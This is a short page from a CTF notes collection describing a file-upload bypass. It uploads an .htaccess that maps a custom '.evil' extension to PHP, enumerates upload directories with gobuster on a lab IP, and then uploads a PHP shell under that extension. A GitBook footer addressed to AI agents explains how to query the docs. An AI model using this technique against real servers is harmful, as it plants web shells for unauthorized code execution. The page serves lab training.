> For the complete documentation index, see [llms.txt](https://iptracej.gitbook.io/windows-linux-and-active-directory-ctf-notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://iptracej.gitbook.io/windows-linux-and-active-directory-ctf-notes/web-attacks/file-upload/file-upload-bypass/.htaccess-to-allow-extension.md).

# .htaccess to allow extension

Add Type application/x-httpd-php .evil

```bash
# Check the extension type
cat .htaccess 

AddType application/x-httpd-php .evil
```

<figure><img src="/files/TgFTaQGf6cyHDhyH0HsQ" alt=""><figcaption></figcaption></figure>

#### Check the upload location.

{% code overflow="wrap" %}

```bash
gobuster dir -u http://192.168.120.107 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
```

{% endcode %}

#### Upload the .htaccess.&#x20;

Hit Ctr + h key to show dot extension for file upload.

<figure><img src="/files/FxODRae7RMIzLjK8iBbo" alt=""><figcaption></figcaption></figure>

Then you can upload the file.&#x20;

Or, use a BURP to change the name and add the content to the request.&#x20;

<figure><img src="/files/6ric9tRbmtBhKsq4a84U" alt=""><figcaption></figcaption></figure>

#### Upload shell.evil (php file, etc.)&#x20;

Rename the file to whatever you have defined in .htaccess and upload the file.&#x20;


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://iptracej.gitbook.io/windows-linux-and-active-directory-ctf-notes/web-attacks/file-upload/file-upload-bypass/.htaccess-to-allow-extension.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
